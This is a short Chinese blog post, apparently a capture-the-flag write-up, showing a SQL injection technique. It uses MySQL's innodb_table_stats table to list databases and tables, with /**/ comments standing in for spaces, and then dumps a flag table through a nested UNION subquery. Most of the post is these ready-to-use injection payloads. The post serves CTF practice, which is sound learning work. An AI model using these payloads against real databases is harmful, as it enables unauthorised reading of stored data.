梦の博客 欢迎来到我的破站
歌曲封面 未知作品

网站已运行 362 天 20 小时 32 分

Powered by Typecho & Sunny

2 online · 58 ms

Title

sql注入(新方法1)

云梦

·

Article
⚠️ 本文最后更新于2023年05月30日,已经过了333天没有更新,若内容或图片失效,请留言反馈

前言:
mysql.innodb_table_stats

♾️ html 代码:
mysql.innodb_table_stats 是 MySQL 中 InnoDB 存储引擎的一个系统表,它存储了关于 InnoDB 表的统计信息,例如行数、数据大小等。

查看库名:

♾️ html 代码:
0'union/**/select/**/1,2,database()/**/where/**/'1

查看表名:

♾️ html 代码:
0'union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1

查看字段名:

♾️ html 代码:
0'union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1

查看flag表中的内容:

♾️ html 代码:
0'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/where/**/'1

#group_concat(1) 是将 1 列中的多个值合并为一个字符串。
#from (select 1 union select * from ctftraining.flag) a:嵌套的子查询,将一个 SELECT 查询的结果作为另一个 SELECT 查询的输入。在这里,第一个 SELECT 查询选择了一个常量值 1,而第二个 SELECT 查询从 ctftraining.flag 表中选择所有列的数据。

where '1为题目所需构造的语句。
查到的表名和字段名是对应的。

现在已有 0 条评论,0 人点赞
Comment
发表
搜 索 消 息 足 迹
你还不曾留言过..
你还不曾留下足迹..
博主